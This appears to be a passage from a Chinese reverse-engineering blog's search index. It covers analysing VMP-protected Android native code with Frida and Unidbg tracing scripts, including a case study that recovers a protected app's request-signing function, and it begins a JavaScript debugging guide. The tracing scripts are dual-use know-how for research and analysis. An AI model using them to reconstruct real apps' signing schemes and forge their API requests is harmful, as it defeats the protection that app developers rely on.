Dispatcher: ${disp.name} (indirect: ${disp.indirectJumps})`); }); } catch (e) { console.error(`[-] Error: ${e.message}`); } } // 延迟执行，等待目标库加载 setTimeout(main, 1000); ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:2:2","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#22-frida-自动识别脚本"},{"categories":null,"collections":null,"content":"3. 动态追踪技术 ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:3:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#3-动态追踪技术"},{"categories":null,"collections":null,"content":"3.1 VM 执行追踪框架 以下是一个完整的 VM 执行追踪框架： // vm_tracer.js - VMP 执行追踪框架 class VMTracer { constructor(config) { this.config = Object.assign({ moduleName: 'libnative.so', dispatcherAddress: null, maxTraceCount: 10000, dumpContext: true, logFile: '/data/local/tmp/vm_trace.log' }, config); this.traceCount = 0; this.handlers = new Map(); this.executionTrace = []; this.vmContext = null; } // 初始化追踪 init() { console.log('[*] Initializing VM Tracer...'); // 定位 VM 组件 this.module = Process.getModuleByName(this.config.moduleName); if (this.config.dispatcherAddress) { this.dispatcher = this.module.base.add(this.config.dispatcherAddress); } else { this.dispatcher = this.findDispatcher(); } console.log(`[+] Dispatcher: ${this.dispatcher}`); // 设置追踪钩子 this.setupTracing(); } // 自动查找 Dispatcher findDispatcher() { // 使用之前的检测逻辑或手动指定 throw new Error('Please specify dispatcher address in config'); } // 设置追踪钩子 setupTracing() { const self = this; // Hook Dispatcher 入口 Interceptor.attach(this.dispatcher, { onEnter: function(args) { self.onDispatcherEnter(this.context); } }); // 使用 Stalker 进行细粒度追踪 this.setupStalker(); } // Stalker 追踪设置 setupStalker() { const self = this; Stalker.follow(Process.getCurrentThreadId(), { events: { call: true, ret: false, exec: true, block: false, compile: false }, transform: function(iterator) { let instruction = iterator.next(); do { // 检查是否在 VM 模块范围内 const addr = instruction.address; if (addr.compare(self.module.base) \u003e= 0 \u0026\u0026 addr.compare(self.module.base.add(self.module.size)) \u003c 0) { // 检测 Handler 调用 if (self.isHandlerCall(instruction)) { iterator.putCallout(function(context) { self.onHandlerCall(context, addr); }); } } iterator.keep(); } while ((instruction = iterator.next()) !== null); }, onReceive: function(events) { // 处理事件 } }); } // 判断是否为 Handler 调用 isHandlerCall(instruction) { const mnemonic = instruction.mnemonic.toLowerCase(); // 间接调用/跳转通常是 handler dispatch if (mnemonic === 'br' || mnemonic === 'blr' || mnemonic === 'jmp' || mnemonic === 'call') { return true; } return false; } // Dispatcher 入口回调 onDispatcherEnter(context) { console.log('[+] Entering VM Dispatcher'); // 尝试解析 VM 上下文 this.parseVMContext(context); } // Handler 调用回调 onHandlerCall(context, address) { if (this.traceCount \u003e= this.config.maxTraceCount) { Stalker.unfollow(); this.dumpResults(); return; } this.traceCount++; // 记录执行 const entry = { index: this.traceCount, address: address.toString(), handler: this.identifyHandler(address, context), timestamp: Date.now() }; // 可选：转储 VM 上下文 if (this.config.dumpContext) { entry.context = this.dumpVMContext(context); } this.executionTrace.push(entry); // 实时输出 if (this.traceCount % 100 === 0) { console.log(`[*] Traced ${this.traceCount} instructions...`); } } // 解析 VM 上下文 parseVMContext(context) { // 这需要根据具体 VMP 实现来定制 // 以下是一个通用示例 try { // ARM64: X19 通常用作 VM 上下文指针 // x86-64: RBP 或自定义寄存器 const ctxPtr = Process.arch === 'arm64' ? context.x19 : context.rbp; this.vmContext = { base: ctxPtr, vregs: [], vip: null, vsp: null }; // 读取虚拟寄存器 (假设 16 个 64 位寄存器) for (let i = 0; i \u003c 16; i++) { this.vmContext.vregs.push( ctxPtr.add(i * 8).readU64() ); } // 读取 VIP 和 VSP (位置需要根据实际实现调整) this.vmContext.vip = ctxPtr.add(0x80).readU64(); this.vmContext.vsp = ctxPtr.add(0x88).readU64(); } catch (e) { console.log(`[-] Failed to parse VM context: ${e.message}`); } } // 转储 VM 上下文 dumpVMContext(context) { if (!this.vmContext) return null; try { const ctxPtr = this.vmContext.base; const vregs = []; for (let i = 0; i \u003c 16; i++) { vregs.push(ctxPtr.add(i * 8).readU64().toString(16)); } return { vregs: vregs, vip: ctxPtr.add(0x80).readU64().toString(16), vsp: ctxPtr.add(0x88).readU64().toString(16) }; } catch (e) { return null; } } // 识别 Handler 类型 identifyHandler(address, context) { // 检查是否已识别 const key = address.toString(); if (this.handlers.has(key)) { return this.handlers.get(key); } // 尝试通过代码模式识别 const handlerType = this.analyzeHandlerCode(address); this.handlers.set(key, handlerType); return handlerType; } // 分析 Handler 代码 analyzeHandlerCode(","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:3:1","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#31-vm-执行追踪框架"},{"categories":null,"collections":null,"content":"3.2 简化追踪脚本 如果只需要快速追踪，可以使用简化版本： // simple_vm_trace.js - 简化版 VM 追踪 // 配置 const CONFIG = { module: 'libnative.so', vmEntry: 0x1000, // VM 入口偏移 dispatcherStart: 0x1500, // Dispatcher 起始偏移 dispatcherEnd: 0x2000 // Dispatcher 结束偏移 }; function traceVM() { const mod = Process.getModuleByName(CONFIG.module); const vmEntry = mod.base.add(CONFIG.vmEntry); const dispStart = mod.base.add(CONFIG.dispatcherStart); const dispEnd = mod.base.add(CONFIG.dispatcherEnd); let traceLog = []; let isInVM = false; // Hook VM 入口 Interceptor.attach(vmEntry, { onEnter: function(args) { isInVM = true; console.log('[+] Entering VM'); // 开始 Stalker 追踪 Stalker.follow(this.threadId, { events: { exec: true }, onReceive: function(events) { const parsed = Stalker.parse(events); parsed.forEach(event =\u003e { if (event[0] === 'exec') { const addr = ptr(event[1]); // 只记录 dispatcher 范围内的执行 if (addr.compare(dispStart) \u003e= 0 \u0026\u0026 addr.compare(dispEnd) \u003c 0) { traceLog.push({ addr: addr.sub(mod.base).toString(16), time: Date.now() }); } } }); } }); }, onLeave: function(retval) { isInVM = false; Stalker.unfollow(); console.log(`[+] Exiting VM. Traced ${traceLog.length} instructions`); // 输出追踪结果 if (traceLog.length \u003e 0) { console.log('\\nExecution trace (first 50):'); traceLog.slice(0, 50).forEach((entry, i) =\u003e { console.log(` [${i}] 0x${entry.addr}`); }); } } }); } traceVM(); ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:3:2","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#32-简化追踪脚本"},{"categories":null,"collections":null,"content":"4. Handler 分析实战 💡 思路一句话: 对 VMP 分发器中的每个 opcode handler 逐个分析语义（MOV/ADD/XOR/CMP/JMP 等），建立自定义指令集文档，然后编写反汇编器将 VM 字节码翻译回可读伪代码。 ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:4:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#4-handler-分析实战"},{"categories":null,"collections":null,"content":"4.1 Handler 识别与分类 // handler_analyzer.js - Handler 深度分析 class HandlerAnalyzer { constructor(moduleBase) { this.moduleBase = moduleBase; this.knownPatterns = this.initPatterns(); } // 初始化已知 Handler 模式 initPatterns() { return { // ARM64 模式 arm64: { vAdd: { pattern: 'add x*, x*, x*', description: '虚拟加法' }, vSub: { pattern: 'sub x*, x*, x*', description: '虚拟减法' }, vXor: { pattern: 'eor x*, x*, x*', description: '虚拟异或' }, vAnd: { pattern: 'and x*, x*, x*', description: '虚拟与' }, vOr: { pattern: 'orr x*, x*, x*', description: '虚拟或' }, vShl: { pattern: 'lsl x*, x*, x*', description: '虚拟左移' }, vShr: { pattern: 'lsr x*, x*, x*', description: '虚拟右移' }, vLoad: { pattern: 'ldr x*, [x*]', description: '虚拟内存读取' }, vStore: { pattern: 'str x*, [x*]', description: '虚拟内存写入' }, vPush: { pattern: 'str x*, [x*, #-8]!', description: '虚拟压栈' }, vPop: { pattern: 'ldr x*, [x*], #8', description: '虚拟出栈' } }, // x86-64 模式 x64: { vAdd: { pattern: 'add r*, r*', description: '虚拟加法' }, vSub: { pattern: 'sub r*, r*', description: '虚拟减法' }, vXor: { pattern: 'xor r*, r*', description: '虚拟异或' }, vMov: { pattern: 'mov r*, r*', description: '虚拟移动' }, vLoad: { pattern: 'mov r*, [r*]', description: '虚拟内存读取' }, vStore: { pattern: 'mov [r*], r*', description: '虚拟内存写入' } } }; } // 分析单个 Handler analyzeHandler(address) { const result = { address: address, offset: address.sub(this.moduleBase).toString(16), type: 'Unknown', confidence: 0, disassembly: [], operations: [], dataFlow: { reads: [], writes: [] } }; try { // 反汇编 Handler let ptr = address; for (let i = 0; i \u003c 50; i++) { const inst = Instruction.parse(ptr); if (!inst) break; result.disassembly.push({ address: ptr.sub(this.moduleBase).toString(16), mnemonic: inst.mnemonic, opStr: inst.opStr, bytes: inst.size }); // 分析操作 this.analyzeInstruction(inst, result); // 检测 Handler 结束 if (this.isHandlerEnd(inst)) { break; } ptr = ptr.add(inst.size); } // 推断 Handler 类型 this.inferHandlerType(result); } catch (e) { result.error = e.message; } return result; } // 分析单条指令 analyzeInstruction(inst, result) { const mnemonic = inst.mnemonic.toLowerCase(); // 记录操作类型 if (mnemonic.includes('add')) { result.operations.push('ADD'); } else if (mnemonic.includes('sub')) { result.operations.push('SUB'); } else if (mnemonic.includes('mul')) { result.operations.push('MUL'); } else if (mnemonic.includes('div')) { result.operations.push('DIV'); } else if (mnemonic.includes('xor') || mnemonic.includes('eor')) { result.operations.push('XOR'); } else if (mnemonic.includes('and')) { result.operations.push('AND'); } else if (mnemonic.includes('or')) { result.operations.push('OR'); } else if (mnemonic.includes('ldr') || mnemonic === 'mov') { result.operations.push('LOAD'); } else if (mnemonic.includes('str')) { result.operations.push('STORE'); } else if (mnemonic.includes('cmp')) { result.operations.push('CMP'); } else if (mnemonic.startsWith('b') || mnemonic.startsWith('j')) { result.operations.push('BRANCH'); } // 分析数据流 // 简化版：基于操作数分析读写 if (inst.operands) { inst.operands.forEach((op, i) =\u003e { if (op.type === 'reg') { if (i === 0 \u0026\u0026 !mnemonic.includes('str') \u0026\u0026 !mnemonic.includes('cmp')) { result.dataFlow.writes.push(op.value); } else { result.dataFlow.reads.push(op.value); } } }); } } // 检测 Handler 结束 isHandlerEnd(inst) { const mnemonic = inst.mnemonic.toLowerCase(); // 间接跳转通常标志着返回 dispatcher if (mnemonic === 'br' || mnemonic === 'blr' || mnemonic === 'ret') { return true; } // x86: jmp reg if (mnemonic === 'jmp' \u0026\u0026 inst.opStr \u0026\u0026 !inst.opStr.includes('0x')) { return true; } return false; } // 推断 Handler 类型 inferHandlerType(result) { const ops = result.operations; // 统计操作 const opCounts = {}; ops.forEach(op =\u003e { opCounts[op] = (opCounts[op] || 0) + 1; }); // 基于操作组合推断类型 if (opCounts['ADD'] \u0026\u0026 !opCounts['SUB'] \u0026\u0026 !opCounts['MUL']) { result.type = 'vAdd'; result.confidence = 0.8; } else if (opCounts['SUB'] \u0026\u0026 !opCounts['ADD'] \u0026\u0026 !opCounts['MUL']) { result.type = 'vSub'; result.confidence = 0.8; } else if (opCounts['MUL']) { result.type = 'vMul'; result.conf","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:4:1","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#41-handler-识别与分类"},{"categories":null,"collections":null,"content":"4.2 Handler 语义恢复示例 // handler_semantics.js - Handler 语义恢复 // 已识别的 Handler 语义映射 const HandlerSemantics = { // 基于地址的 Handler 映射（需要实际分析后填充） handlers: new Map(), // 注册 Handler 语义 register(address, semantics) { this.handlers.set(address.toString(), semantics); }, // 获取 Handler 语义 get(address) { return this.handlers.get(address.toString()) || { type: 'Unknown', action: '?' }; }, // 将执行序列翻译为伪代码 translateToCode(trace) { const lines = []; const varCounter = { count: 0 }; trace.forEach((entry, i) =\u003e { const sem = this.get(ptr(entry.address)); const ctx = entry.context; let line = this.generateCodeLine(sem, ctx, varCounter); if (line) { lines.push(`/* ${i.toString().padStart(4, '0')} */ ${line}`); } }); return lines.join('\\n'); }, // 生成代码行 generateCodeLine(semantics, context, varCounter) { switch (semantics.type) { case 'vAdd': return `v${semantics.dst} = v${semantics.src1} + v${semantics.src2};`; case 'vSub': return `v${semantics.dst} = v${semantics.src1} - v${semantics.src2};`; case 'vMul': return `v${semantics.dst} = v${semantics.src1} * v${semantics.src2};`; case 'vXor': return `v${semantics.dst} = v${semantics.src1} ^ v${semantics.src2};`; case 'vMov': return `v${semantics.dst} = v${semantics.src};`; case 'vLoadImm': return `v${semantics.dst} = 0x${semantics.imm.toString(16)};`; case 'vLoad': return `v${semantics.dst} = *(uint64_t*)(v${semantics.base} + ${semantics.offset});`; case 'vStore': return `*(uint64_t*)(v${semantics.base} + ${semantics.offset}) = v${semantics.src};`; case 'vCmp': return `flags = compare(v${semantics.src1}, v${semantics.src2});`; case 'vJcc': return `if (${semantics.condition}) goto L_${semantics.target.toString(16)};`; case 'vJmp': return `goto L_${semantics.target.toString(16)};`; case 'vCall': return `v0 = ${semantics.funcName}(v0, v1, v2);`; case 'vRet': return `return v0;`; default: return `// Unknown: ${semantics.type}`; } } }; // 示例：注册已分析的 Handler function registerKnownHandlers(moduleBase) { // 这些需要根据实际分析结果填充 HandlerSemantics.register(moduleBase.add(0x1000), { type: 'vAdd', dst: 0, src1: 1, src2: 2 }); HandlerSemantics.register(moduleBase.add(0x1050), { type: 'vSub', dst: 0, src1: 1, src2: 2 }); HandlerSemantics.register(moduleBase.add(0x10A0), { type: 'vMov', dst: 0, src: 1 }); HandlerSemantics.register(moduleBase.add(0x10F0), { type: 'vLoadImm', dst: 0, imm: 0 // 运行时从字节码读取 }); // ... 继续注册其他 handler } ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:4:2","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#42-handler-语义恢复示例"},{"categories":null,"collections":null,"content":"5. 实战案例分析 💡 思路一句话: Frida hook VM 入口拿到字节码 → 分析分发器识别每个 handler → 逐条翻译 VM 指令 → 重建原始算法逻辑。比 OLLVM 更难，但方法论相同：让程序告诉你它在做什么。 ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:5:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#5-实战案例分析"},{"categories":null,"collections":null,"content":"5.1 案例：分析加密签名函数 假设目标 App 有一个被 VMP 保护的签名函数 generateSign(data, timestamp)： // case_sign_analysis.js - 签名函数 VMP 分析实战 const SignAnalyzer = { // 配置 config: { module: 'libsecurity.so', signFuncOffset: 0x8000, dispatcherOffset: 0x8500 }, // 已收集的执行轨迹 traces: [], // 开始分析 start() { const module = Process.getModuleByName(this.config.module); const signFunc = module.base.add(this.config.signFuncOffset); console.log('[*] Starting sign function analysis...'); console.log(`[*] Target: ${signFunc}`); // Hook 签名函数 Interceptor.attach(signFunc, { onEnter: (args) =\u003e { this.currentInput = { data: args[0].readUtf8String(), timestamp: args[1].toInt32() }; console.log(`\\n[+] generateSign called`); console.log(` data: ${this.currentInput.data}`); console.log(` timestamp: ${this.currentInput.timestamp}`); // 开始追踪 this.startTracing(); }, onLeave: (retval) =\u003e { this.stopTracing(); const result = retval.readUtf8String(); console.log(` result: ${result}`); // 分析此次追踪 this.analyzeCurrentTrace(); } }); }, // 开始追踪 startTracing() { this.currentTrace = { input: this.currentInput, handlers: [], operations: [], memoryAccess: [], apiCalls: [] }; // 设置详细追踪（使用之前的 VMTracer） // 这里简化处理 console.log('[*] Tracing VM execution...'); }, // 停止追踪 stopTracing() { console.log(`[*] Trace complete. Captured ${this.currentTrace.handlers.length} handlers`); this.traces.push(this.currentTrace); }, // 分析当前追踪 analyzeCurrentTrace() { const trace = this.currentTrace; console.log('\\n========== Trace Analysis =========='); // 1. 统计 Handler 使用 const handlerStats = {}; trace.handlers.forEach(h =\u003e { handlerStats[h.type] = (handlerStats[h.type] || 0) + 1; }); console.log('\\nHandler usage:'); Object.entries(handlerStats) .sort((a, b) =\u003e b[1] - a[1]) .forEach(([type, count]) =\u003e { console.log(` ${type}: ${count}`); }); // 2. 分析 API 调用 if (trace.apiCalls.length \u003e 0) { console.log('\\nDetected API calls:'); trace.apiCalls.forEach(call =\u003e { console.log(` ${call.name}(${call.args.join(', ')})`); }); } // 3. 分析内存访问模式 this.analyzeMemoryPattern(trace); // 4. 尝试重建算法 this.reconstructAlgorithm(trace); }, // 分析内存访问模式 analyzeMemoryPattern(trace) { console.log('\\nMemory access pattern:'); // 按地址分组 const accessGroups = {}; trace.memoryAccess.forEach(access =\u003e { const region = this.identifyRegion(access.address); if (!accessGroups[region]) { accessGroups[region] = { reads: 0, writes: 0 }; } if (access.type === 'read') { accessGroups[region].reads++; } else { accessGroups[region].writes++; } }); Object.entries(accessGroups).forEach(([region, stats]) =\u003e { console.log(` ${region}: ${stats.reads} reads, ${stats.writes} writes`); }); }, // 识别内存区域 identifyRegion(address) { // 简化实现 return 'unknown'; }, // 尝试重建算法 reconstructAlgorithm(trace) { console.log('\\n========== Algorithm Reconstruction =========='); // 基于操作序列推断 const ops = trace.operations; // 查找常见加密操作模式 let hasXor = ops.filter(o =\u003e o === 'XOR').length \u003e 10; let hasRound = this.detectRoundStructure(trace); let hasSbox = this.detectSboxUsage(trace); console.log('Algorithm characteristics:'); console.log(` - XOR operations: ${hasXor ? 'Heavy (possible stream/block cipher)' : 'Minimal'}`); console.log(` - Round structure: ${hasRound ? 'Detected' : 'Not detected'}`); console.log(` - S-box usage: ${hasSbox ? 'Detected (possible AES/DES)' : 'Not detected'}`); // 输出推测 console.log('\\nPossible algorithm:'); if (hasSbox \u0026\u0026 hasRound) { console.log(' -\u003e Block cipher (AES/DES family)'); } else if (hasXor \u0026\u0026 !hasSbox) { console.log(' -\u003e Stream cipher or custom XOR-based'); } else { console.log(' -\u003e Custom/Unknown'); } }, // 检测轮结构 detectRoundStructure(trace) { // 查找重复的操作模式 // 简化实现 return false; }, // 检测 S-box 使用 detectSboxUsage(trace) { // 查找表查找操作 // 简化实现 return false; }, // 差分分析 differentialAnalysis() { if (this.traces.length \u003c 2) { console.log('[-] Need at least 2 traces for differential analysis'); return; } console.log('\\n========== Differential Analysis =========='); // 比较不同输入的执行轨迹 const trace1 = this.traces[0]; const trace2 = this.traces[1]; // 找出差异点 let diffPoints = []; ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:5:1","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#51-案例分析加密签名函数"},{"categories":null,"collections":null,"content":"5.2 Unidbg 辅助分析 当 Frida 动态追踪不够高效时，可以使用 Unidbg 进行离线分析： // VMPAnalyzer.java - 使用 Unidbg 分析 VMP import com.github.unidbg.AndroidEmulator; import com.github.unidbg.arm.backend.Unicorn2Factory; import com.github.unidbg.linux.android.AndroidEmulatorBuilder; import com.github.unidbg.linux.android.AndroidResolver; import com.github.unidbg.linux.android.dvm.*; import com.github.unidbg.memory.Memory; import unicorn.Arm64Const; import java.io.*; import java.util.*; public class VMPAnalyzer extends AbstractJni { private final AndroidEmulator emulator; private final VM vm; private final Module module; // VMP 追踪数据 private List\u003cTraceEntry\u003e traceLog = new ArrayList\u003c\u003e(); private Set\u003cLong\u003e handlerAddresses = new HashSet\u003c\u003e(); private Map\u003cLong, String\u003e handlerTypes = new HashMap\u003c\u003e(); // VMP 配置 private long dispatcherStart; private long dispatcherEnd; private long vmContextReg; // 存储 VM 上下文的寄存器 public VMPAnalyzer() { // 创建模拟器 emulator = AndroidEmulatorBuilder .for64Bit() .setProcessName(\"com.target.app\") .addBackendFactory(new Unicorn2Factory(true)) .build(); Memory memory = emulator.getMemory(); memory.setLibraryResolver(new AndroidResolver(23)); vm = emulator.createDalvikVM(); vm.setJni(this); vm.setVerbose(false); // 加载目标库 DalvikModule dm = vm.loadLibrary(new File(\"libsecurity.so\"), false); module = dm.getModule(); // 设置 VMP 范围 dispatcherStart = module.base + 0x8500; dispatcherEnd = module.base + 0x9000; vmContextReg = Arm64Const.UC_ARM64_REG_X19; // ARM64 常用 X19 } // 设置追踪钩子 public void setupTracing() { // 代码追踪钩子 emulator.getBackend().hook_add_new( new CodeHook() { @Override public void hook(Backend backend, long address, int size, Object user) { // 只追踪 dispatcher 范围内的代码 if (address \u003e= dispatcherStart \u0026\u0026 address \u003c dispatcherEnd) { recordExecution(address); } } }, dispatcherStart, dispatcherEnd, null ); // 内存访问钩子 emulator.getBackend().hook_add_new( new ReadHook() { @Override public void hook(Backend backend, long address, int size, Object user) { recordMemoryRead(address, size); } }, 1, 0, null ); } // 记录执行 private void recordExecution(long address) { TraceEntry entry = new TraceEntry(); entry.address = address; entry.offset = address - module.base; entry.timestamp = System.nanoTime(); // 读取 VM 上下文 entry.vmContext = dumpVMContext(); // 识别 Handler if (!handlerAddresses.contains(address)) { String handlerType = identifyHandler(address); handlerAddresses.add(address); handlerTypes.put(address, handlerType); } entry.handlerType = handlerTypes.get(address); traceLog.add(entry); } // 转储 VM 上下文 private VMContext dumpVMContext() { VMContext ctx = new VMContext(); // 读取上下文指针 long ctxPtr = emulator.getBackend().reg_read(vmContextReg).longValue(); // 读取虚拟寄存器 (假设 16 个 64 位寄存器) ctx.vregs = new long[16]; for (int i = 0; i \u003c 16; i++) { ctx.vregs[i] = emulator.getBackend().mem_read(ctxPtr + i * 8, 8) .getLong(0); } // 读取 VIP ctx.vip = emulator.getBackend().mem_read(ctxPtr + 0x80, 8).getLong(0); return ctx; } // 识别 Handler 类型 private String identifyHandler(long address) { // 读取指令并分析 byte[] code = emulator.getBackend().mem_read(address, 64); // 简化的模式匹配 // 实际实现需要更复杂的反汇编分析 return \"Unknown\"; } // 记录内存读取 private void recordMemoryRead(long address, int size) { // 可选：记录内存访问以分析数据流 } // 执行目标函数 public String executeSignFunction(String data, int timestamp) { // 清空之前的追踪 traceLog.clear(); // 调用签名函数 DvmObject\u003c?\u003e result = vm.callStaticJniMethod( \"Lcom/target/Security;\", \"generateSign(Ljava/lang/String;I)Ljava/lang/String;\", new StringObject(vm, data), timestamp ); return result.getValue().toString(); } // 输出分析结果 public void outputAnalysis() { System.out.println(\"\\n========== VMP Analysis Results ==========\"); System.out.println(\"Total instructions traced: \" + traceLog.size()); System.out.println(\"Unique handlers: \" + handlerAddresses.size()); // Handler 统计 Map\u003cString, Integer\u003e handlerStats = new HashMap\u003c\u003e(); for (TraceEntry entry : traceLog) { handlerStats.merge(entry.handlerType, 1, Integer::sum); } System.out.println(\"\\nHandler usage:\"); handlerStats.entrySet().stream() .sor","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:5:2","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#52-unidbg-辅助分析"},{"categories":null,"collections":null,"content":"6. 去虚拟化工具 ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:6:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#6-去虚拟化工具"},{"categories":null,"collections":null,"content":"6.1 常用工具 工具名称 类型 适用场景 链接 VMHunt 学术研究 自动化 VMP 分析 GitHub VMAttack IDA 插件 静态/动态分析结合 GitHub VTIL IR 框架 构建去虚拟化器 GitHub NoVmp 开源工具 VMProtect 2.x 分析 GitHub Triton 符号执行 约束求解辅助分析 GitHub ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:6:1","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#61-常用工具"},{"categories":null,"collections":null,"content":"6.2 分析流程建议 ┌────────────────────────────────────────────────────────────────┐ │ VMP 分析完整流程 │ ├────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────────┐ │ │ │ 1. 识别 VMP │───→│ 2. 定位入口 │───→│ 3. 追踪 Handler │ │ │ │ 检测特征 │ │ 找 Dispatcher│ │ 收集执行轨迹 │ │ │ └─────────────┘ └──────────────┘ └──────────────────┘ │ │ │ │ │ │ │ ↓ ↓ ↓ │ │ 使用静态分析 动态调试定位 Frida/Unidbg 追踪 │ │ 查找 PUSH 序列 间接跳转 Stalker API │ │ │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────────┐ │ │ │6. 算法还原 │←───│5. 语义重建 │←───│4. Handler 分析 │ │ │ │ 写出伪代码 │ │ 翻译为 C 码 │ │ 识别每个操作 │ │ │ └─────────────┘ └──────────────┘ └──────────────────┘ │ │ │ │ │ │ │ ↓ ↓ ↓ │ │ 验证算法正确性 差分分析辅助 模式匹配识别 │ │ 复现签名逻辑 多输入对比 建立 Handler 表 │ │ │ └────────────────────────────────────────────────────────────────┘ ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:6:2","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#62-分析流程建议"},{"categories":null,"collections":null,"content":"7. 关键要点 不要试图完全去虚拟化 - 除非是研究目的，否则追踪执行比反编译 VM 更实用。 动态分析优先 - VMP 的突变性使静态分析极其困难，动态追踪是主要手段。 关注 Handler 语义 - 理解每个 Handler 做什么比理解 VM 整体架构更有价值。 差分分析 - 使用不同输入进行多次追踪，对比差异找出关键逻辑。 耐心和经验 - VMP 分析需要大量时间和经验积累，没有万能工具。 ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:7:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#7-关键要点"},{"categories":null,"collections":null,"content":"参考资源 VMProtect 官方文档 VTIL Project Virtual Machine Obfuscation (学术论文) Defeating VMP (BlackHat 演讲) ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:8:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#参考资源"},{"categories":null,"collections":null,"content":"JavaScript 调试问题 JavaScript 逆向和调试中的常见问题及解决方案。 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:0:0","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#javascript-调试问题"},{"categories":null,"collections":null,"content":"断点不生效 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:1:0","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#断点不生效"},{"categories":null,"collections":null,"content":"问题表现 设置断点后代码不暂停 断点显示灰色 代码跳过断点继续执行 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:1:1","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#问题表现"},{"categories":null,"collections":null,"content":"原因分析 代码已被优化或内联 Source Map 不匹配 异步代码执行时机问题 代码被动态生成 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:1:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#原因分析"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 debugger 语句 // 在代码中直接插入 function suspiciousFunction(data) { debugger; // 强制暂停 // ... 后续代码 } 通过 Hook 注入: // 在控制台执行 const original = window.someFunction; window.someFunction = function (...args) { debugger; // 在调用前暂停 return original.apply(this, args); }; 2. 使用条件断点 在 DevTools 中右键断点 → Edit breakpoint: // 只有当条件满足时才暂停 userId === 12345; // 或使用表达式 console.log(\"Value:\", someVar) || false; 3. DOM 断点 // 监听 DOM 修改 const element = document.querySelector(\"#target\"); // Break on: subtree modifications, attribute modifications, node removal 4. Event Listener 断点 // DevTools → Sources → Event Listener Breakpoints // 勾选相关事件 (如 click, xhr, timeout) // 或者代码中监听 monitorEvents(document.body, \"click\"); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:1:3","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 